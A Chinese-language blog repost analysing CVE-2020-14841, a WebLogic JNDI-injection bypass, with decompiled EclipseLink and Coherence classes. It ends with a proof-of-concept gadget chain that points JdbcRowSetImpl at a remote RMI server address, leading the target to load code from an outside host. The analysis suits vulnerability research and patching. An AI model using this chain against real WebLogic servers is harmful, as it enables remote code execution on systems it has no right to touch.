您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關如何進行CVE 2020-14841 WebLogic JNDI注入繞過的分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
通過diff 升級包中weblogic的黑名單,我們發現新增了這個類:
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
package oracle.eclipselink.coherence.integrated.internal.cache;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;
public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
protected AttributeAccessor accessor;
protected String className;
public LockVersionExtractor() {
}
public LockVersionExtractor(AttributeAccessor accessor, String className) {
this.accessor = accessor;
this.className = className;
}
public Object extract(Object arg0) {
if(arg0 == null) {
returnnull;
} else{
if(arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}
if(!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}
returnthis.accessor.getAttributeValueFromObject(arg0);
}
}
我們可以從代碼上看出來,類似與 cve-2020-2555,用法也都是一樣的。觸發漏洞的重點在于this.accessor.getAttributeValueFromObject 中。下面選取一個可能的執行路徑
package org.eclipse.persistence.internal.descriptors;
public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = "";
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;
public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
returnthis.getAttributeValueFromObject(anObject, (Object[])null);
}
protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if(PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
returnAccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} catch (PrivilegedActionException var5) {
Exception throwableException = var5.getException();
if(throwableException instanceof IllegalAccessException) {
throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
} else{
throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
}
}
} else{
returnthis.getMethod.invoke(anObject, parameters);
}
MethodAttributeAccessor中getAttributeValueFromObject函數缺點在于,只能執行無參的函數,從這點來看,我們很容易的與七月份 cve-2020-14645 聯想起來
所以照貓畫虎 poc如下
// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");
MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");
LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
Field comparatorF = queue.getClass().getDeclaredField("comparator");
comparatorF.setAccessible(true);
comparatorF.set(queue, new ExtractorComparator(extractor));
關于如何進行CVE 2020-14841 WebLogic JNDI注入繞過的分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。